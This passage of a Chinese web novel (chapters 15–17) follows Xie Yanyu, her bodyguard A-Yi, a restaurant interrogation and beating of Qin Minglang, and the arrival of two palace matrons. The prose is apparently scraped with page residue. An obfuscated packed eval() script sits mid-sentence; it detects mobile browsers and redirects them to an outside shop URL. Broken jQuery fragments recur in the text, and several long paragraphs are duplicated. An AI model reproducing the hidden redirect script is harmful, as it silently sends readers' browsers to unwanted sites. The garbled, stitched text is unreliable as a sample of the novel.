在谢烟雨面前又乖又听话的一号像是变了个模样,眉头蹙起,身上的戾气毫不掩饰。 他揪着秦明朗的头发强迫他抬头,“她问什么,你就答什么。” 漆黑的瞳孔里闪过若有若无的红光,被压低的声音显得格外狠戾,“听懂了吗?” 一号没有那么多顾忌,只知道眼前人惹了谢烟雨生气,揍人时虽然没下死手,也使了大半力气。 他比上次两个保镖狠多了,拳拳到肉,打得秦明朗骨头都颤着疼。 开始他还嚷着狠话,后边只能哭着求饶,谢烟雨带来的都是什么品种的变态,揍人一个比一个疼。 这会听到一号问话,秦明朗顶着破了的嘴角,含着满口血腥味连连点头,眼底满是惧怕,生怕晚一步点头就又挨两拳。 一号放开他,将他踹得撞上洗手台,“去,洗干净。” 秦明朗不敢反抗,抖着手将自己身上的血迹冲干净,又漱了几次口,感觉没有味道后颤颤巍巍地转身,“可、可以了吗?” 一号扫了他几眼,鼻尖微动,确认眼前的人身上没有血腥味才沉着脸点头,“走吧。” 他长腿迈开,走在前头,没有发现后边跟上来的秦明朗低着头,脸色惧怕的同时藏着恨意。 他不敢恨一号,就把事情归咎到谢烟雨以及秦宥头上。 如果秦宥没有好端端失踪,他就不用和谢烟雨见面,也不会被揍两次!两次!整整两次!谢烟雨这个狠毒的女人,他迟早办了她!! 两人回到座位上坐下。 谢烟雨先看了眼秦明朗,没有明显外伤,是她想要的效果。 接着看向一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13714752|144720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号,后者眨了眨眼,不复方才的模样,他眉眼放松,悄声说:“他会回答你了。” 说话时视线掠过秦明朗,眼底的冷意一闪而过。 秦明朗缩了缩身子,企图将自己塞进沙发里。 谢烟雨没注意两人之间的小动作,得到想要的结果后去看秦明朗,“林书是谁?” 她刚才问的时候秦明朗明显愣了一下,是知道这个人的。 “......我爸的秘书。”秦明朗顿了一会才说。 “只是秘书?没有别的身份?”谢烟雨挑了下眉,搭在桌子上的手指轻点。 对上她仿佛看透一切的视线,秦明朗呼吸急促了两分,他视线闪躲,皱着眉大声道:“当然只是秘书!你还想是什么!” “哦。”谢烟雨盯着他看,语气里透露出些许好奇,“他似乎想要搅浑你和我的订婚,你说你父亲知道吗?” 秦明朗倏地抬头看她,又立刻挪开视线,“不可能。” 他爸不可能放弃谢烟雨这个联姻对象。 不是他爸,那就是......秦明朗心里有了猜测,更加坐不住了,“行了,要问的都问完了,没事我就走了!” 说着他站起身,扫了眼谢烟雨,后者只是看着他,并未阻止。 她不动,一号就不动,秦明朗腿一迈,飞快地消失在餐厅里。 出了餐厅不远,他那些朋友立即围了上来,嚷嚷着要一起去喝酒。 秦明朗心里憋着事,压根没有心情喝酒,花了笔钱将人都打发走,自己开着悬浮车回家。 餐厅里,谢烟雨看着他一溜烟地跑了,若有所思地垂了垂眸。 根据肖海父亲的供词,林书是秦天海的左膀右臂,是忠实的心腹。 秦明朗听到林书这个名字很快就反应过来了,说明此人在秦家有些地位,不然也不会让他记住。 很显然秦明朗也知道秦天海不可能放弃两家联姻,所以一口否认了林书是他父亲派来的。 但他的反应很奇怪,特别是她问林书有没有别的身份的时候,他反应剧烈,脸上甚至出现了嫌恶。 林书做了什么,才会让秦明朗露出这种表情? 结合秦明朗慌里慌张地跑走,谢烟雨感觉自己无意中知道了秦家的一件辛秘。 这种感觉模模糊糊隐隐约约,像是要摸到了门槛,却偏偏被拦在了门口。 谢烟雨点开光脑给李叔发消息,让他立刻派人去盯着秦明朗。 既然秦明朗已经慌了,那么接下来十有八九会去见那个让他变慌的人。 知道了人,就更容易做出判断了。 等李叔回消息后,谢烟雨关掉光脑,视线不着痕迹地掠过二楼。 二楼静悄悄的,似乎一个人也没有,就连服务员也没有去上菜的迹象。 这么多天了,一号是唯一一个能让秦宥的任务产生波动的人,她必须确保他是否可控。 如果二皇子不出现的话,她的试探将无法完成,她也无法判断是否能将一号继续留在身边。 谢烟雨心中不可避免地出现些许焦虑,但焦虑无法解决任何问题,她只能按捺下心思。 15. 问询 另一边,谢烟雨收到那人的消息后立刻把见面地址改了。 那人就是谢烟雨托谢林臣找的私家侦探,不知道叫什么,只知道姓陈,别人一般喊他陈先生。 早些年谢烟雨跟他有过合作,对他的能力很满意,只可惜这人独来独往,不喜欢留联系方式,再找他还花了点时间。 谢烟雨原本想让他盯着秦家,看见那条娱乐新闻后改了注意,让他改盯二皇子。 刚刚他发来消息,说二皇子出了皇宫,去了一家餐厅。 等秦明朗同意换地方见面后,谢烟雨带着一号出门。 她上次见秦明朗出了意外,这次见秦明朗李叔原想让她多带几个人,听到她说只带一号根本不同意,但跟一号交手后,他立刻改口。 上了悬浮车,一号在谢烟雨身旁坐下。 因为方才的战斗,他眼底还透露着一股兴奋,身上的温度比旁人灼热几分。 谢烟雨和他靠近的地方都能感受到那股热气,她看了眼一号,“阿一,换一下瞳孔颜色。” “好。”一号很听话,闻言立刻闭眼,片刻后再睁眼,瞳孔的红色被黑色取代。 一号眨了眨眼,见谢烟雨看着自己,耳朵微红,凑过去问:“这样可以吗?” 他身上的热气以另一种形式裹挟了谢烟雨,让她眼睫微颤,不着痕迹地往后退两步,“可以。” “那就好。”一号低声说着,因为身子前倾而掉落的长发扫过他的鼻尖,滑落在胸前。 谢烟雨多看了两眼,“你打架的时候,头发怎么办?” 一号的头发长而密,一般人无法近他身,可人多了,总有几个能挨近抓到他的头发。 被扯头发的滋味不好受,谢烟雨垂眸,“把它扎起来吧。” 一号闻言,摸了摸自己的长发,他一般都是以短发示人,还没扎过头发,也不知道怎么扎头发。 “我不会。”一号有些迟疑地问,“用什么扎?” 谢烟雨愣了下,想起他跟在自己身边之前的模样是短发,自然不用忧心这个问题。 她出门带了扎头发的东西,从一旁的包里拿出递给一号。 一号接过看了看,又去看她绑好的头发,没一会就扎出一个一样的。 没镜子,他自己看不着,就让谢烟雨看,“我扎好了吗?” “嗯。”谢烟雨今天梳的是侧头辫子,看起来简单,但要掌握那种蓬松的氛围感还有点难,没想到一号一次就成功了。 得到她的回答,一号眉眼微弯,看一看她的头发,又摸了摸自己的,心中有股说不清道不明的窃喜。 到了餐厅,一号率先下车,转身抬手护住谢烟雨的头让她出来。 谢烟雨冲他点点头以示感谢,他就笑了下。 这是他在工作的时候看别人做的动作,当时只觉得奇怪,现在却有了不一样的感觉。 两人一同进了餐厅。 二皇子毕竟是皇子,身边围绕的高手不少,陈先生虽然敢盯着他,但并不敢靠他太近,因此只知道他进了餐厅,并不知道他的具体位置。 谢烟雨拒绝了服务员说的包间,在一楼找了一个靠窗的位置坐下,给自己和一号点了东西。 从猜测一号行刺二皇子到现在,谢烟雨没有试探过一号,现在二皇子在这,如果能碰面,就是一次最好的试探。 谢烟雨看了眼自己5%的任务进度条,扣了扣手心,说不清自己到底想要哪个结果。 点的东西还没上,秦明朗先来了。 靠窗的位置让谢烟雨能第一时间看见进来的人和出去的人。 秦明朗一下车就撩了把头发,懒散地站着,跟门口迎宾的女生说了几句话才进门。 进门看见前台忙碌的女生后往前的脚步一转,整个人趴在了前台柜子上,嘴角带着一抹笑,听不清在说什么,但谢烟雨看见了那个女生悄悄往后退的动作。 谢烟雨喊他出来可不是帮他祸害女生的,她提高了音量喊:“秦明朗。” 正在逗人女生的秦明朗嘴角一垮,回头去看,发现谢烟雨坐在不远处,正静静地看着他。 尽管隔得远,也能看清她眉宇间的些许嫌弃,约莫是看到了全程。 秦明朗啧了一声,心想完蛋了,他爸说的任务恐怕是完成不了了。 这么想着,他心里却没什么变化,显然是并不打算完成这个任务,或者说压根就没想过要提。 他转过头,对前台女生笑嘻嘻地道:“等会再来找你哦。” 前台女生勉强扯出一抹笑,“客人有什么用餐问题当然可以找我。” 她特地强调了用餐问题四个字,但秦明朗就跟没听见似的,重点全在她后边的六个字上,给了她一个上道的眼神。 前台女生恶心得够呛,等他走后立刻点开光脑,啪啪啪地往上边打字,一副大吐苦水的模样。 秦明朗全然不知自己惹人嫌,在他看来,他这样身份的人能看上一个打工的,已经是一种上天的恩赐了。 至于别人嫌弃他?不可能,肯定是那人欲擒故纵想吸引他的注意力罢了。 这种手段,他见多了。 走过去的时候,秦明朗先是扫了眼周围,低头点开光脑确认自己兄弟们在附近,才在谢烟雨对面落座。 他打量了眼谢烟雨身边的一号。 不是上次的那种大块头,是个长发飘飘的美男啊。 秦明朗的眼神变了下,正欲说话,就被一双仿佛淬了寒冰的双眸冻住。 一号歪了歪头,已经变成黑色的瞳孔没有红色的那么邪性,但更加纯粹瘆人。 他把搭在腿上的左手抬起,在秦明朗的目光下拎起面前的餐具,稍微一用力,银色筷子就弯下了腰。 秦明朗瞳孔一震,见鬼似的看着一号。 一号仿佛什么都不知道,将手中的变形的筷子递给他,“秦先生是吧,我觉得你适合用这套餐具。” 秦明朗不想接,但他一缩手,一号就抬起另一只手把勺子也弄变形了,一边弄,一边看向他的腿。 那慢条斯理的模样,不知道的人还以为他在干什么大事呢。 秦明朗抖着手把扭曲的筷子和勺子接到手里,想扔在自己面前的桌子上,但手一动,一号的目光就落了下来。 他憋屈地放在桌子上,餐具和瓷质的桌面相触,发出一声脆响。 秦明朗一顿,没敢看一号,去看一直没有说话的谢烟雨,“找我过来干什么?” 他话语里透出浓浓的有事说事,没事拜拜的意味。 谢烟雨看了眼已经把手重新搭在腿上的一号,给了他一个肯定的眼神后才去看秦明朗。 跟上次见面不太一样,今天的秦明朗明显收敛了很多。 谢烟雨记挂自己的计划,也没想和他客气,“林书是谁?” “啊?”秦明朗一下没反应过来,下一秒才明白她在说什么,眉头一皱,不太耐烦的样子,“你问这个干什么?” “你只需要回答我的问题。”谢烟雨眯了眯眼,手指轻点桌面。 一号顺势看向秦明朗,目光沉沉,仿佛他不说就会让他也尝尝变形筷子的滋味。 上次被揍,这次被威胁,秦明朗眉头越皱越紧,猛地一拍桌面,“谢烟雨,你不要以为你仗着两家婚约就可以为所欲为!” 谢烟雨语气冷了下来,“我再说一遍,我的未婚夫是秦宥,不是你,也不会是你。” 秦明朗嘲讽地看向她,“想归想,说归说,你真的敢违抗你父亲的命令吗?” 谢父在官场身居高位多年,早就练就说一不二的性格。 他和他爸一样都是喜欢 () { $(''.inform'').remove(); $(''#content'').append('' 向利益看齐的人,变换人选一事,他们早就商量好了,除非秦宥死而复生,否则不可能改变。 谢烟雨对着他倒是敢叫嚣,但她敢对上谢父吗? 秦明朗心中嗤笑,谢家一儿一女,谢林臣早些年不肯联姻的事人尽皆知,最后他不仅被赶出谢家,还得了一顿揍。 谢林臣吃尽苦头才能在商界有如今地位,不受谢父掣肘。 但谢烟雨不是他,就算谢烟雨有这个能力,她也没有这个身体去复刻谢林臣的路。 要是谢林臣和她关系好,说不定还能帮衬帮衬,可所有人都知道,他们俩不是一个妈生的,平日见着了连话都不会多说。 没有人能帮谢烟雨,她只能乖乖听谢父的话。 秦明朗想的没错,谢烟雨确实什么都没有,唯一能用的人也只有李叔他们。 谢父又不是傻子,不听话的出了谢林臣一个就绝不会出第二个。 年少的谢烟雨深知自己力量不足,所以才在权衡利弊之后答应和秦宥订婚。 但现在不是以往,只要她找回秦宥,不仅能拥有一具健康的身体,还能利用对秦宥的救命之恩彻底摆脱谢家。 当然,就算失败了也没关系,反正她已经死过一回了,左不过死第二回。 比起生气和慌张,秦明朗的逼问在谢烟雨看来更像是无能之人的怒吼。 她正要说话,一旁的一号已经冷下脸站起身。 他很高,站起来时把窗外照进来的阳光遮挡得一干二净。 被阴影笼罩的秦明朗想起上次挨揍的事,还没好全的伤隐隐作疼。 他瑟缩一瞬,看向谢烟雨,“你不管管你带来的人吗!” 谢烟雨别开眼,对他的话毫无反应。 秦明朗初次见面跟她说的话她还记着呢,一个想着不让自己好过的人,自己怎么能让他好过。 他这种人,不揍一顿是不会听话的。 而且她也不怕秦明朗把这事往外说,因为他要面子。 何况秦明朗劣迹斑斑,就算秦家人真的知道是她让人揍的,也只会把事情算在他头上。 毕竟她只是一个身体不好的女人,又有被霸凌过的经历,受到惊吓后让保镖揍人是天经地义的事,不是吗? 得了谢烟雨的准许,一号不再顾忌,长臂一伸拎起鹌鹑似的秦明朗往洗手间走。 大庭广众之下不能揍人,他带他去厕所谈谈人生。 见谢烟雨真的不管,秦明朗慌了,扒拉着一号的手冲谢烟雨喊:“谢烟雨!你疯了!你就不怕我.....唔!” 他话还没说完,就被一号从别的桌上薅下来的花塞住嘴,他赶紧伸手弄掉嘴里的花,没来得及多说什么。 一号拎人动静不大,薅花塞嘴的动静就有点大了,注意到的服务员都看了过来,有几个正在往这边走。 他们不知道发生了什么,但不想让人在店里打架,下意识就想劝阻一号,“先生,您......” 一号掀起眼皮看了过去,因为生气的缘故,他的眉眼往下压,宛如一匹被挑起战意的狼,眼神凶猛。 服务员顿时闭了嘴,下意识往后退了两步,他抖着唇想要劝阻,却是什么声音都发不出来。 赶过来的前台女生瞅了眼面色惨白的秦明朗,心里哼了一声,对上一号的眼神,她也瑟缩了一下。 但很快反应过来,拉着自己的同事离开,压低声音说:“别管他了,反正那人是往厕所走,那边没监控,我们就当不知道。” 同事一边犹豫着点头,一边忍不住回头看了一眼,“这样真的好吗?” 挺好的!前台女生心里道,那个死变态最好被多揍几拳!让他调戏她! 他们回到自己的工作岗位,再看过去,那两人已经没了人影,只有厕所那边传来隐隐约约的痛呼声。 16. 试探 一号抓住秦明朗的头把人摁在洗手台上,声音冷冽,“我不喜欢你对她说话的语气。” 厕所灯光昏暗,撒下来在他脸上形成阴影,乍一看,仿佛撒旦在世。 在谢烟雨面前又乖又听话的一号像是变了个模样,眉头蹙起,身上的戾气毫不掩饰。 他揪着秦明朗的头发强迫他抬头,“她问什么,你就答什么。” 漆黑的瞳孔里闪过若有若无的红光,被压低的声音显得格外狠戾,“听懂了吗?” 一号没有那么多顾忌,只知道眼前人惹了谢烟雨生气,揍人时虽然没下死手,也使了大半力气。 他比上次两个保镖狠多了,拳拳到肉,打得秦明朗骨头都颤着疼。 开始他还嚷着狠话,后边只能哭着求饶,谢烟雨带来的都是什么品种的变态,揍人一个比一个疼。 这会听到一号问话,秦明朗顶着破了的嘴角,含着满口血腥味连连点头,眼底满是惧怕,生怕晚一步点头就又挨两拳。 一号放开他,将他踹得撞上洗手台,“去,洗干净。” 秦明朗不敢反抗,抖着手将自己身上的血迹冲干净,又漱了几次口,感觉没有味道后颤颤巍巍地转身,“可、可以了吗?” 一号扫了他几眼,鼻尖微动,确认眼前的人身上没有血腥味才沉着脸点头,“走吧。” 他长腿迈开,走在前头,没有发现后边跟上来的秦明朗低着头,脸色惧怕的同时藏着恨意。 他不敢恨一号,就把事情归咎到谢烟雨以及秦宥头上。 如果秦宥没有好端端失踪,他就不用和谢烟雨见面,也不会被揍两次! 两次!整整两次!! 谢烟雨这个狠毒的女人,他迟早办了她!!! 两人回到座位上坐下。 谢烟雨先看了眼秦明朗,没有明显外伤,是她想要的效果。 接着看向一号,后者眨了眨眼,不复方才的模样,他眉眼放松,悄声说:“他会回答你了。” 说话时视线掠过秦明朗,眼底的冷意一闪而过。 秦明朗缩了缩身子,企图将自己塞进沙发里。 谢烟雨没注意两人之间的小动作,得到想要的结果后去看秦明朗,“林书是谁?” 她刚才问的时候秦明朗明显愣了一下,是知道这个人的。 “......我爸的秘书。”秦明朗顿了一会才说。 “只是秘书?没有别的身份?”谢烟雨挑了下眉,搭在桌子上的手指轻点。 对上她仿佛看透一切的视线,秦明朗呼吸急促了两分。 他视线闪躲,皱着眉大声道:“当然只是秘书!你还想是什么!” “哦。”谢烟雨盯着他看,语气里透露出些许好奇,“他似乎想要搅浑你和我的订婚,你说你父亲知道吗?” 秦明朗倏地抬头看她,又立刻挪开视线,“不可能。” 他爸不可能放弃谢烟雨这个联姻对象。 不是他爸,那就是......秦明朗心里有了猜测,更加坐不住了,“行了,要问的都问完了,没事我就走了!” 说着他站起身,扫了眼谢烟雨,后者只是看着他,并未阻止。 她不动,一号就不动,秦明朗腿一迈,飞快地消失在餐厅里。 出了餐厅不远,他那些朋友立即围了上来,嚷嚷着要一起去喝酒。 秦明朗心里憋着事,压根没有心情喝酒,花了笔钱将人都打发走,自己开着悬浮车回家。 餐厅里,谢烟雨看着他一溜烟地跑了,若有所思地垂了垂眸。 根据肖海父亲的供词,林书是秦天海的左膀右臂,是忠实的心腹。 秦明朗听到林书这个名字很快就反应过来了,说明此人在秦家有些地位,不然也不会让他记住。 很显然秦明朗也知道秦天海不可能放弃两家联姻,所以一口否认了林书是他父亲派来的。 但他的反应很奇怪,特别是她问林书有没有别的身份的时候,他反应剧烈,脸上甚至出现了嫌恶。 林书做了什么,才会让秦明朗露出这种表情? 结合秦明朗慌里慌张地跑走,谢烟雨感觉自己无意中知道了秦家的一件辛秘。 这种感觉模模糊糊隐隐约约,像是要摸到了门槛,却偏偏被拦在了门口。 谢烟雨点开光脑给李叔发消息,让他立刻派人去盯着秦明朗。 既然秦明朗已经慌了,那么接下来十有八九会去见那个让他变慌的人。 知道了人,就更容易做出判断了。 等李叔回消息后,谢烟雨关掉光脑,视线不着痕迹地掠过二楼。 二楼静悄悄的,似乎一个人也没有,就连服务员也没有去上菜的迹象。 这么多天了,一号是唯一一个能让秦宥的任务产生波动的人,她必须确保他是否可控。 如果二皇子不出现的话,她的试探将无法完成,她也无法判断是否能将一号继续留在身边。 谢烟雨心中不可避免地出现些许焦虑,但焦虑无法解决任何问题,她只能按捺下心思。 正巧得了谢烟雨吩咐,等秦明朗走后再上菜的服务员看人走了,就喊同事一块开始上菜。 看着一道接一道菜被端上来,谢烟雨平复好情绪,让一号一起吃饭。 正巧得了谢烟雨吩咐,等秦明朗走后再上菜的服务员看人走了,就喊同事一块开始上菜。 看着一道接一道菜被端上来,谢烟雨平复好情绪,让一号一起吃饭。 谢烟雨说什么,一号就做什么,她说吃饭,一号就乖乖吃饭,也不问为什么要这么早吃饭。 吃完饭已经是十一点,餐厅客人越来越多,热热闹闹地坐满了一楼,二楼还是没什么动静。 谢烟雨又坐了会,上面终于传来走动声,没一会,二皇子带着人出现在楼梯口。 他旁边站着苏铭,身后跟着谢烟雨不认识的人,一边走一边说话。 谢烟雨看过去的动作没避着一号,一号顺着她的视线看过去,看到为首的人后神色未变,靠近谢烟雨低声问:“怎么了?” 他动作坦然,眼神清亮,似乎一点也不受影响,只是无人知道,他眨眼时黑色瞳孔里的红光一闪而过。 谢烟雨摇了摇头,没有说话。 一直到二皇子离开餐厅,一号都没有什么反应,仿佛只是看见了一个无关紧要的人。 谢烟雨没有发现他的不对劲,但不管他是真的不在意还是装着不在意,至少没有冲动。 只要不冲动就够了。 谢烟雨松了口气,心下稍安。 她不知道的是,上了悬浮车的二皇子坐在椅子上,问身旁的苏铭,“那个人是谁?” 谢烟雨看过来的视线毫无恶意,因此尽管知道她在盯着自己,二皇子也没有生气,只是有些好奇。 () { $(''.inform'').remove(); $(''#content'').append('' 他这次出门做了点伪装,一般民众认不出他,能认出他的大概都是在现实中认识他并接触过他的。 二皇子想了一圈也没从记忆里找到这个美人。 苏铭自然也发现了谢烟雨,同时也看见了她旁边那个男人对她若有若无地亲近。 他扯了扯嘴角,脑子里闪过谢烟雨说不会退婚的画面,心中嗤笑,面上却无一点表情,“是上将的未婚妻,谢烟雨。” “她是谢烟雨?”二皇子坐直了身子,似乎是有些惊讶。 苏铭看了他一眼,“是。” “她......”二皇子还想再问什么,但似乎意识到了什么,转移了话题,“听说谢家和秦家商量着换联姻对象,谢烟雨现在还是秦宥的未婚妻?” “换联姻对象?”苏铭的手一下攥紧了,皱着眉重复道。 二皇子一顿,这才反应过来似的,“你不知道吗?” 苏铭审视的目光在即将落在他身上时被收敛得一干二净,“没收到有关消息,想来是谣言。” 二皇子看了他一眼,“谣言也得有根源,不会空穴来风。” 顿了顿,他补充道:“既然是秦宥未婚妻,换联姻对象的事自然要问过他的意见,他现在没有回来,这事秦家就做不得主,你去跟他们好好说道说道。” 苏铭低着头,看不清脸上的神色,只听见一声,“是。” 将二皇子送回皇宫后,苏铭的神色立刻冷了下来,“盯紧他。” 他声音压得极低,也不知道在跟谁说话。 空气中传来一阵波动,很快消失,苏铭知道那人听见了,正要离开,却发现自己的光脑震了一下。 他一点上悬浮车一边点开,看见那人的消息后眉头一皱。 谢烟雨为什么要盯着二皇子?她发现了什么? 难道......想到这次秦宥出征前说的话,苏铭闭了闭眼。 他脸色紧绷,过了好一会才压下心中翻涌的情绪。 枯坐半晌,脸上的神色几经变换,苏铭终于动了。 他点开好友申请列表,绷着脸同意了谢烟雨的好友申请。 光脑震动时,谢烟雨正从悬浮车上下来,准备去蛋糕店看看有没有谢骁喜欢的甜品。 轻微的震动只引起她快速的一瞥,她没有点开光脑看消息,而是跟一号一块穿过人群走进蛋糕店。 谢烟雨拎着甜品从蛋糕店出来时,学校的放学铃声还盘绕在天空中。 铃声刚响之际,就有一群学生冲出学校,现在,人越来越多。 一个又一个稚嫩的脸庞出现在眼前,周身洋溢的欢乐仿佛把站在附近的谢烟雨也包裹了进去。 清风拂过树梢,动摇斑驳树影。 树荫下,一群穿着校服的学生正在说说笑笑,在最肆意的年纪里,他们恰好拥有一腔热血和勇气。 这是谢烟雨不曾拥有的青春,她站在蛋糕店的门口,静静地看着这一幕。 她旁边的一号看了她一眼,又去看她视线所在的地方,他没有发现什么特别的,就把视线重新放在谢烟雨身上。 比起外界,他更关注谢烟雨,敏锐的直觉让他发现了谢烟雨平静表面下的波澜。 但他没有动,因为他觉得谢烟雨此刻不想和人说话。 他安安静静地陪着谢烟雨站了会。 “走吧。”谢烟雨侧眸,对他说。 17. 女官 两人一起回到悬浮车上,刚坐下,谢烟雨手腕上的光脑就震动起来。 扫了眼备注,她眉头瞬间蹙起,隔了会才点开光脑,接通来人的视频通讯。 下一瞬,眉眼暗藏怒气的谢父的投影出现在半空中。 他盯着谢烟雨,语气发沉,“你去见秦明朗了?” “嗯。” “为什么要打他!” 原来是来兴师问罪的。 谢烟雨抬眼看他,有些奇怪和惊讶,“秦明朗告诉你的?” 不等谢父回答,她就自己先否认了,为了两家联姻,秦明朗肯定不会把这件事说出去。 虽然只见过几面,但谢烟雨看得出,秦明朗很重视他父亲的话,所以他不可能做破坏联姻的事。 那就只有一个可能了,是那个让林书过来找麻烦的人发现了秦明朗身上的伤,直接告诉了谢父。 “回答我的问题!为什么打他!”谢父将她的动作视为心虚,沉着眉眼不满地警告道,“谢烟雨,不要试图转移话题。” 谢烟雨平时表现乖巧,对换联姻对象一事表现得似乎并无不满。 但现在看来,这个看似听话的女儿也自己的小心思! 想到某个离家出走的逆子,谢父呼吸重了几分,他绝对、绝对不会允许这种事再次发生! 他看着谢烟雨,压下满腔怒火等她回答,“给我一个合理的解释。” 他要合理的解释,谢烟雨就给他解释。 她把林书的事情说了,不管谢父紧皱的眉头,嗤笑一声,“你费劲心思维持的联姻,人家说不准不稀罕呢。” 谢父当然不会因为她的几句话动摇自身利益,但他也确实恼怒秦家派林书过来想要搅混这门婚事。 可他不傻,知道这人绝不可能是秦天海,不过不管是谁,终归是秦家的人,谢家受了损失,就要拿到一定的利益。 心里百转千回,他面上却丝毫不显,“这件事我会问清楚秦天海,你不用再管。” 他警告地看向谢烟雨,“这不是你能搞小动作的理由,没有下次。” 话音刚落,一股子冷气穿透屏幕落在他身上,像是冬日里不由分说钻进骨缝的冷风。 谢父皱了皱眉,没有发现什么不对劲,再次警告地看了眼谢烟雨后,这种感觉更加明显。 谢烟雨没有回答他,挂了通讯。 不远处的一号见投影消失,缓缓收回自己的视线,眨了下眼,方才的冷意悄然褪去。 他见谢烟雨双唇紧抿,飞快地皱了皱眉,想到什么后,又定了定神。 谢烟雨没有注意到他的小动作,挂了通讯就看向新的好友添加成功的信息,连心底蔓延的戾气都止住了。 苏铭终于同意她的好友申请了! 还没等谢烟雨想好要如何说第一句话,苏铭已经发了过来:【谢小姐,你好。】 【上次见面,你似乎还有话没说完,不介意的话,我们可以约个时间见面。】 苏铭思来想去,还是选择开门见山。 秦宥对她的态度不一般,虽然他看不惯她心里有人还答应订婚,但这事是秦宥自己做的决定,他作为兄弟,只能帮着了。 换联姻对象的事秦家确实搞得出来,但最重要的还是谢烟雨的态度。 这事线上没法说,他得亲自见一面谢烟雨。 思绪在脑海中绕了几个圈,最后停留在这一句话上。 谢烟雨有些惊讶,又觉得在意料之中。 她同意了,两人约在后天见面。 到了家,李叔迎上来,脸色有些发沉,“小姐,他派了两个高级侍女过来。” 高级侍女一般是从皇宫里退休出来的中年女人,对礼仪规矩方面很有心得。 要是平常,谢烟雨说不准还会去和她们请假,但这两人是谢父派过来的,想来也不是什么好相与的。 上次谢父警告她,这次直接派人过来,看来对她确实很不满意了。 只有在不满意的时候,谢父才会采取措施警告她,上一次,是五年前。 也是两名高级侍女,谢烟雨记了她们很多年,想到了什么,她迈步进入客厅。 等看见沙发上端坐着的熟悉的两抹身影,她眉梢轻扬,手指搭在包面上轻点两下,嘴角露出一抹意味不明地笑,“既然来都来了,就让她们住下吧。” 一号察觉到她语气奇怪,朝她看了眼,后者脸上带笑,神色却十分冷凝,像是想到了什么不太愉快的过往。 他看向两名高级侍女,眯了眯眼睛。 听到声音,背对着三人端坐的高级侍女转过了头。 其中一个站起身,扫过谢烟雨身旁的一号,眉头蹙了起来,声音冷淡严肃,“谢小姐,你是有未婚夫的人,不宜接近外男。” 另一个跟着起身,无奈地看了眼自己搭档,对谢烟雨笑道:“谢小姐,许久未见。” 她的目光落在一号身上,“这位是……” 谢烟雨没什么反应,一号自然不会开口,最后还是李叔说:“这是小姐的贴身保镖,叫阿一,两位也这么称呼就好。” “啊。”问话的那位轻轻点头,年过半百保养得当的脸上露出一抹不赞同,“虽是贴身保镖,也无需……距离这么近吧?” 她声音轻轻柔柔的,一副真心在为谢烟雨考虑的模样,“如今你处于风口浪尖,稍有不慎就会被人抓到把柄,还是得多留个心眼呐。” 一号皱了皱眉,下意识看向谢烟雨。 后者扯了扯嘴角,比量着自己和一号隔了约莫两三个拳头的距离,“林女官,这不是很正常的社交距离吗?你当年让我抄的书里可就是这么写的。” 林女官笑容微变,眼神闪了闪,“谢小姐记性是不错的,不过事急从权……也罢,是我想岔了。” 她轻轻叹了口气,像极了对差生的无可奈何。 先前说话的那位眉头皱得更紧,“不知检点!” 林女官哎呀一声,拉了拉她,劝道:“好啦好啦,谢小姐体弱,定然没心思接触这些,我们多教教就是了。” 她们一言一语,刚见面就给谢烟雨扣下一顶大帽子,话语间似有做主的意思。 一号攥了攥手指,眼底发冷。 李叔脸色更沉,但他顾忌着谢烟雨,没有说什么难听的话,“两位,今天时间不早了,还是早些回房休息吧,有什么需要,我家小姐自会唤你们。” 他这话直接将她们和谢烟雨的身份摆了出来—— 他家小姐才是这里的主人,用得上你才会叫你,不是说你想干什么就能干什么的! () { $(''.inform'').remove(); $(''#content'').append('' 林女官顿了顿,拉住要说话的搭档,扫了眼面无表情的谢烟雨,笑道:“自然。” “不过,”她话音一转,“我和陈女官都是谢先生请来教授谢小姐的,就这么闲着也不好,希望谢小姐尽快空出时间,跟着我们好好学习一下什么是礼仪、什么是规矩。” 她声音任旧轻柔,脸上的笑容也依旧温和,丝毫看不出来她正拿谢父的名头在压谢烟雨妥协。 教人教人,只有第一面把威信立起来,后面才能进展顺利。 林女官干了半辈子这种事,自然清楚这个流程。 她和陈女官五年前教过谢烟雨,是一个很叛逆的学生,当初废了好大劲才把人教好,没想到才五年,她们又见面了。 这次见面,跟以前那次不太一样。 具体哪里不一样,她说不出来,只能归咎于谢烟雨长大了,更加乖张叛逆了。 谢烟雨并不接她的茬,冷漠地应了一声,带着一号转身离开。 “你!”陈女官瞬间被气到,刚要说话,就被林女官拉住,李叔的视线也落在她身上,平静得有些瘆人。 她不甘心收回要出口的话,冷哼一声,“目无尊长!狂妄自大!” 谢烟雨头也没回。 陈女官更加生气,对林女官说:“你看看她都变成什么样子了!” “好了!”林女官声音不高,看了眼她,眼底有着一闪而过的不满,后者闭了嘴,但是脸色不虞。 林女官没再管她,看向李叔,“麻烦您带我们去我们的房间了。” 她们来了之后就一直坐在客厅,还没去住的客房。 “这边请。” 李叔走在前面,领人来到一楼靠后的位置,示意她们看过去,“这就是两位的房间。” 林女官看过去。 房间靠后,又是一楼,光线不好,甚至有些昏暗,正中央是一张狭窄的单人床,床脚紧挨着柜子,旁边是一张小小的桌子。 简陋的家具占据了所有空间,连独立的卫生间都塞不下了。 在林女官看来,这间屋子拥挤得转个身都显得麻烦,她脸色微变,“您是走错了吗?” 比起她的委婉,陈女官更加直接,“我们是来教你们小姐的,理应尊为贵宾!怎么可以住这样的房间!” 李叔:“最近闹得厉害,周边不太平,为了保障小姐的安全,家里新招揽了许多保镖,只剩下这么两间房了。” 林女官扯了扯嘴角,温和的笑意消失得一干二净,“这就是谢小姐的待客之道?” 什么只剩下这两间房?她一个字也不信。 李叔脸色抱歉,“要是两位不满意,可以离开。” 谢烟雨……好极了! 好极了!! 林女官闭了闭眼。 再睁眼时透出一股狠戾,她冷声道:“既然来都来了,我们自然不能辜负谢先生的信任。” “阿梦,进去。”她给了陈女官一个眼神。 后者压着眉眼与她对峙,片刻后进去了。 李叔一副深受感动的模样,“多谢两位的体谅。” 